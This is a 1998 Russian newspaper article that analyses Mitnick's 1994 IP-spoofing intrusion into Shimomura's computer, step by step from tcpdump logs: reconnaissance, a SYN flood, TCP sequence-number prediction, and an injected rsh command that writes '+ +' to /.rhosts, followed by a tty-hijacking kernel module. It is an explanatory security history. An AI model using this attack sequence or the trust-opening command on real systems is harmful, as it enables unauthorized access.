Как Митник взломал компьютер Т. Шимомуры

Как Митник взломал компьютер Т. Шимомуры

В последнее время пресса, да и простые пользователи, часто стали применять термин "взломать компьютер". Одновременно с этим, каналы новостей то и дело рассказывают о реальных случаях взлома. Но никто и нигде еще толком не рассказывал о самой технологии проникновения в чужую систему. Между прочим, компьютерофобия во многом инициирована такими разговорами. Я уже не говорю о модных ныне фантастических кинофильмах типа "Сети" или нашумевших "Хакеров".

По моему мнению, рассказ о системе взлома интересен не только для тех, кто собирается превзойти Митника. По собственному опыту могу сказать, что средний уровень системных администраторов не настолько высок, как этого требует должность. Да и простые пользователи, полагаю, должны хотя бы в самых общих чертах представлять, что же это за зверь и с чем его кушать надобно.

Данные, помещенные в этот документ, были взяты из реального пакетного лог-файла tcpdump, сгенерированного во время этой атаки. В интересах лучшего понимания (и краткости!) некоторые данные были опущены. Атака IP-проникновением началась приблизительно в 14:09:32, 25 декабря 1994. Первые попытки проникновения шли от toad.com (следующие данные взяты из пакетных лог-файлов):
14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal

Предполагается, что основной целью данных попыток была попытка определения наличия и характера какого-либо соединения между двумя станциями, которые должны быть раскрыты при взломе. Hомера исходного порта для showmount и rpcinfo указывают на то, что атакующий являлся root на toad.com

Приблизительно 6 минут спустя, пошли запросы на TCP SYN (запросы на инициализацию соединения) шедшие от 130.92.6.97 к порту 513 (порт login) сервера. Целью этих запросов являлась попытка заполнить очередь соединений для порта 513 сервера "полуоткрытыми" соединениями. Это проводилось для того, чтобы сервер не обрабатывал и не производил ответы на любые новые запросы. В частности, сервер не генерировал TCP RST в ответ на приходящие TCP ACK. То бишь, создавалась ситуация, при которой сервер еще не "заткнулся", но новых клиентов уже не воспринимал, можно сказать, что он оказался изолирован.

Так как порт 513 является также "привиллегированным" портом (
14:18:22.516699 130.92.6.97.600> server.login: S 1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601> server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602> server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603> server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604> server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605> server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606> server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607> server.login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608> server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609> server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610> server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611> server.login: S 1382726971:1382726971(0) win 4096
14:18:23.403083 130.92.6.97.612> server.login: S 1382726972:1382726972(0) win 4096
14:18:23.903700 130.92.6.97.613> server.login: S 1382726973:1382726973(0) win 4096
14:18:24.003252 130.92.6.97.614> server.login: S 1382726974:1382726974(0) win 4096
14:18:24.084827 130.92.6.97.615> server.login: S 1382726975:1382726975(0) win 4096
14:18:24.142774 130.92.6.97.616> server.login: S 1382726976:1382726976(0) win 4096
14:18:24.203195 130.92.6.97.617> server.login: S 1382726977:1382726977(0) win 4096
14:18:24.294773 130.92.6.97.618> server.login: S 1382726978:1382726978(0) win 4096
14:18:24.382841 130.92.6.97.619> server.login: S 1382726979:1382726979(0) win 4096
14:18:24.443309 130.92.6.97.620> server.login: S 1382726980:1382726980(0) win 4096
14:18:24.643249 130.92.6.97.621> server.login: S 1382726981:1382726981(0) win 4096
14:18:24.906546 130.92.6.97.622> server.login: S 1382726982:1382726982(0) win 4096
14:18:24.963768 130.92.6.97.623> server.login: S 1382726983:1382726983(0) win 4096
14:18:25.022853 130.92.6.97.624> server.login: S 1382726984:1382726984(0) win 4096
14:18:25.153536 130.92.6.97.625> server.login: S 1382726985:1382726985(0) win 4096
14:18:25.400869 130.92.6.97.626> server.login: S 1382726986:1382726986(0) win 4096
14:18:25.483127 130.92.6.97.627> server.login: S 1382726987:1382726987(0) win 4096
14:18:25.599582 130.92.6.97.628> server.login: S 1382726988:1382726988(0) win 4096
14:18:25.653131 130.92.6.97.629> server.login: S 1382726989:1382726989(0) win 4096
server сгенерировал SYN-ACK для первых восьми SYN запросов перед тем, как очередь соединений полностью заполнилась. server периодически перетранслирует эти ACK как не требующие ответа.
Теперь идут 20 попыток соединения от apollo.it.luc.edu с x-terminal.shell. Целью их применения была попытка определения упорной генеративной способности TCP числового генератора x-terminal.
Hадо заметить, что инициализирующая запись номера увеличивалась на один больше для каждого соединения, указывая на то, что SYN пакеты не были сгенерированы TCP обработчиком системы. Hиже приведены результаты RST, сгенерированные в ответ на каждый неопределенный SYN-ACK, поэтому очередь соединения на x-terminal не заполнилась:
14:18:25.906002 apollo.it.luc.edu.1000> x-terminal.shell: S 1382726990:1382726990(0) win 4096
14:18:26.094731 x-terminal.shell> apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096
14:18:26.172394 apollo.it.luc.edu.1000> x-terminal.shell: R 1382726991:1382726991(0) win 0
14:18:26.507560 apollo.it.luc.edu.999> x-terminal.shell: S 1382726991:1382726991(0) win 4096
14:18:26.694691 x-terminal.shell> apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096
14:18:26.775037 apollo.it.luc.edu.999> x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:26.775395 apollo.it.luc.edu.999> x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:27.014050 apollo.it.luc.edu.998> x-terminal.shell: S 1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell> apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998> x-terminal.shell: R 1382726993:1382726993(0) win 0
14:18:27.544069 apollo.it.luc.edu.997> x-terminal.shell: S 1382726993:1382726993(0) win 4096
14:18:27.714932 x-terminal.shell> apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997> x-terminal.shell: R 1382726994:1382726994(0) win 0
14:18:28.054114 apollo.it.luc.edu.996> x-terminal.shell: S 1382726994:1382726994(0) win 4096
14:18:28.224935 x-terminal.shell> apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996> x-terminal.shell: R 1382726995:1382726995(0) win 0
14:18:28.564333 apollo.it.luc.edu.995> x-terminal.shell: S 1382726995:1382726995(0) win 4096
14:18:28.734953 x-terminal.shell> apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995> x-terminal.shell: R 1382726996:1382726996(0) win 0
14:18:29.074990 apollo.it.luc.edu.994> x-terminal.shell: S 1382726996:1382726996(0) win 4096
14:18:29.274572 x-terminal.shell> apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096
14:18:29.354139 apollo.it.luc.edu.994> x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.354616 apollo.it.luc.edu.994> x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.584705 apollo.it.luc.edu.993> x-terminal.shell: S 1382726997:1382726997(0) win 4096
14:18:29.755054 x-terminal.shell> apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096
14:18:29.840372 apollo.it.luc.edu.993> x-terminal.shell: R 1382726998:1382726998(0) win 0
14:18:30.094299 apollo.it.luc.edu.992> x-terminal.shell: S 1382726998:1382726998(0) win 4096
14:18:30.265684 x-terminal.shell> apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096
14:18:30.342506 apollo.it.luc.edu.992> x-terminal.shell: R 1382726999:1382726999(0) win 0
14:18:30.604547 apollo.it.luc.edu.991> x-terminal.shell: S 1382726999:1382726999(0) win 4096
14:18:30.775232 x-terminal.shell> apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096
14:18:30.852084 apollo.it.luc.edu.991> x-terminal.shell: R 1382727000:1382727000(0) win 0
14:18:31.115036 apollo.it.luc.edu.990> x-terminal.shell: S 1382727000:1382727000(0) win 4096
14:18:31.284694 x-terminal.shell> apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096
14:18:31.361684 apollo.it.luc.edu.990> x-terminal.shell: R 1382727001:1382727001(0) win 0
14:18:31.627817 apollo.it.luc.edu.989> x-terminal.shell: S 1382727001:1382727001(0) win 4096
14:18:31.795260 x-terminal.shell> apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096
14:18:31.873056 apollo.it.luc.edu.989> x-terminal.shell: R 1382727002:1382727002(0) win 0
14:18:32.164597 apollo.it.luc.edu.988> x-terminal.shell: S 1382727002:1382727002(0) win 4096
14:18:32.335373 x-terminal.shell> apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096
14:18:32.413041 apollo.it.luc.edu.988> x-terminal.shell: R 1382727003:1382727003(0) win 0
14:18:32.674779 apollo.it.luc.edu.987> x-terminal.shell: S 1382727003:1382727003(0) win 4096
14:18:32.845373 x-terminal.shell> apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096
14:18:32.922158 apollo.it.luc.edu.987> x-terminal.shell: R 1382727004:1382727004(0) win 0
14:18:33.184839 apollo.it.luc.edu.986> x-terminal.shell: S 1382727004:1382727004(0) win 4096
14:18:33.355505 x-terminal.shell> apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096
14:18:33.435221 apollo.it.luc.edu.986> x-terminal.shell: R 1382727005:1382727005(0) win 0
14:18:33.695170 apollo.it.luc.edu.985> x-terminal.shell: S 1382727005:1382727005(0) win 4096
14:18:33.985966 x-terminal.shell> apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096
14:18:34.062407 apollo.it.luc.edu.985> x-terminal.shell: R 1382727006:1382727006(0) win 0
14:18:34.204953 apollo.it.luc.edu.984> x-terminal.shell: S 1382727006:1382727006(0) win 4096
14:18:34.375641 x-terminal.shell> apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096
14:18:34.452830 apollo.it.luc.edu.984> x-terminal.shell: R 1382727007:1382727007(0) win 0
14:18:34.714996 apollo.it.luc.edu.983> x-terminal.shell: S 1382727007:1382727007(0) win 4096
14:18:34.885071 x-terminal.shell> apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096
14:18:34.962030 apollo.it.luc.edu.983> x-terminal.shell: R 1382727008:1382727008(0) win 0
14:18:35.225869 apollo.it.luc.edu.982> x-terminal.shell: S 1382727008:1382727008(0) win 4096
14:18:35.395723 x-terminal.shell> apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096
14:18:35.472150 apollo.it.luc.edu.982> x-terminal.shell: R 1382727009:1382727009(0) win 0
14:18:35.735077 apollo.it.luc.edu.981> x-terminal.shell: S 1382727009:1382727009(0) win 4096
14:18:35.905684 x-terminal.shell> apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096
14:18:35.983078 apollo.it.luc.edu.981> x-terminal.shell: R 1382727010:1382727010(0) win 0

Hадо заметить, что каждый SYN-ACK посланный с x-terminal имел очередной номер на 128,000 больше предыдущего. Было установлено атакующим, что x-terminal "верит" запросам с сервера, поэтому x-terminal будет принимать и обрабатывать пакеты идущие с сервера (или кого-то управляющим сервером).

x-terminal отвечает server пакетом SYN-ACK, который должен быть обработан для того, чтобы соединение было открыто. Так как сам сервер игнорирует пакеты, идущие на server.login, этот ACK остается необработанным.

В нормальном состоянии, пакетный номер от SYN-ACK требуется для нормальной генерации правильного пакета ACK. В данном случае, атакующий является в состоянии предугадать пакетный номер, находящийся и составляющий SYN-ACK, базируясь на полученной технологии и алгоритме TCP генератора пакетных чисел x-terminal, и это дает возможность обработать SYN-ACK без транслирования процесса:
14:18:36.245045 server.login> x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login> x-terminal.shell: . ack 2024384001 win 4096

Машина, с которой происходит атака адреса, теперь имеет одностороннее соединение с x-terminal.shell, которое выглядит как соединение с server.login. Эта система может управлять соединением, может направлять, получать и обрабатывать данные идущие от x-terminal.shell. С системы идет запрос:
14:18:37.265404 server.login> x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login> x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login> x-terminal.shell: P 7:32(25) ack 1 win 4096

который преобразуется:

14:18:37 server# rsh x-terminal "echo + + > / .rhosts"
Общее время, которое прошло с момента попадания первого перехваченного пакета, составляло меньше 16 секунд. После чего система произвела отключение:
14:18:41.347003 server.login> x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login> x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login> x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login> x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.login> x-terminal.shell: R 1382727044:1382727044(0) win 4096

Далее появились RST пакеты для снятия "полуоткрытых" соединений и освобождения очереди соединений server.login:
14:18:52.298431 130.92.6.97.600> server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601> server.login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602> server.login: R 1382726962:1382726962(0) win 4096
14:18:52.476873 130.92.6.97.603> server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604> server.login: R 1382726964:1382726964(0) win 4096
14:18:52.600899 130.92.6.97.605> server.login: R 1382726965:1382726965(0) win 4096
14:18:52.660231 130.92.6.97.606> server.login: R 1382726966:1382726966(0) win 4096
14:18:52.717495 130.92.6.97.607> server.login: R 1382726967:1382726967(0) win 4096
14:18:52.776502 130.92.6.97.608> server.login: R 1382726968:1382726968(0) win 4096
14:18:52.836536 130.92.6.97.609> server.login: R 1382726969:1382726969(0) win 4096
14:18:52.937317 130.92.6.97.610> server.login: R 1382726970:1382726970(0) win 4096
14:18:52.996777 130.92.6.97.611> server.login: R 1382726971:1382726971(0) win 4096
14:18:53.056758 130.92.6.97.612> server.login: R 1382726972:1382726972(0) win 4096
14:18:53.116850 130.92.6.97.613> server.login: R 1382726973:1382726973(0) win 4096
14:18:53.177515 130.92.6.97.614> server.login: R 1382726974:1382726974(0) win 4096
14:18:53.238496 130.92.6.97.615> server.login: R 1382726975:1382726975(0) win 4096
14:18:53.297163 130.92.6.97.616> server.login: R 1382726976:1382726976(0) win 4096
14:18:53.365988 130.92.6.97.617> server.login: R 1382726977:1382726977(0) win 4096
14:18:53.437287 130.92.6.97.618> server.login: R 1382726978:1382726978(0) win 4096
14:18:53.496789 130.92.6.97.619> server.login: R 1382726979:1382726979(0) win 4096
14:18:53.556753 130.92.6.97.620> server.login: R 1382726980:1382726980(0) win 4096
14:18:53.616954 130.92.6.97.621> server.login: R 1382726981:1382726981(0) win 4096
14:18:53.676828 130.92.6.97.622> server.login: R 1382726982:1382726982(0) win 4096
14:18:53.736734 130.92.6.97.623> server.login: R 1382726983:1382726983(0) win 4096
14:18:53.796732 130.92.6.97.624> server.login: R 1382726984:1382726984(0) win 4096
14:18:53.867543 130.92.6.97.625> server.login: R 1382726985:1382726985(0) win 4096
14:18:53.917466 130.92.6.97.626> server.login: R 1382726986:1382726986(0) win 4096
14:18:53.976769 130.92.6.97.627> server.login: R 1382726987:1382726987(0) win 4096
14:18:54.039039 130.92.6.97.628> server.login: R 1382726988:1382726988(0) win 4096
14:18:54.097093 130.92.6.97.629> server.login: R 1382726989:1382726989(0) win 4096

server.login начал поддержку соединений. После того, как был получен root-доступ к системе посредством атаки IP адреса, в системе был откомпилирован и установлен загрузочный модуль ядра называемый "tap-2.01". Модуль был установлен на x-terminal:

x-terminal% modstat

Id Type Loadaddr Size B-major C-major Sysnum Mod Name

1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap

crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

Этот модуль оказался загрузочным модулем ядра STREAM, который был вставлен в существующий стэк STREAM и использовался для перехвата контроля над tty устройством. Он был использован для перехвата сессии соединения с target приблизительно в 14:51. Вот так. А далее, получив доступ, с атакованной машиной можно было делать почти все, что угодно.

Александр Запольскис
E-mail: leshy@nestor.minsk.by
- титульная страница


Компьютерная газета. Статья была опубликована в номере 07 за 1998 год в рубрике безопасность :: разное

©1997-2022 Компьютерная газета